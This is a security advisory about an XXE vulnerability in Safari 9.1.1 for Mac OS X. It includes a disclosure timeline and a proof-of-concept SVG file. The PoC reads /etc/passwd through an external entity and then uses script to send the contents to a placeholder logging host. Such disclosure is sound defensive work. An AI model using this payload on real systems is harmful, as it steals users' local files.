Skip to main content

Apple Safari for Mac OS X SVG local XXE

Advisory ID: SGMA16-003
Title: Apple Safari for Mac OS X SVG local XXE
Product: Apple Safari for Mac OS X
Version: 9.1.1 and probably prior
Vendor: apple.com
Vulnerability type: XXE
Risk level: 2 / 5
Credit: Filippo Cavallarin - wearesegment.com
CVE: N/A
Vendor notification: 2015-04-08
Vendor Fix: N/A
Public disclosure: 2016-07-05

Details

Safari for Mac OS X is prone to an XXE vulnerability when processing crafted SVG images. 
An attacker may use this vulnerability to steal files from local computer by tricking a user into opening and SVG image from a local location (ie USB key).
This vulnerability is mitigated by the file quarantine and do not work with downloaded files.

 

PoC:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [  
<!ELEMENT svg ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" width="19000px" xmlns:xlink="http://www.w3.org/1999/xlink" >
<text x="-1000" y="-1000" >&xxe;</text>
<circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
<script>
var logger = "http://logger.local/?file=" + encodeURIComponent(document.getElementsByTagName("text")[0].innerHTML);
document.createElementNS('http://www.w3.org/2000/svg','image').setAttributeNS('http://www.w3.org/1999/xlink','href', logger);

</script>

</svg>

Note:

The vendor has been notified more than one year before public disclosure and the answer was that the issue was still under analisys. We contacted the vendor again a few weeks before public disclosure but we got no reply.

 

Solution:

N/A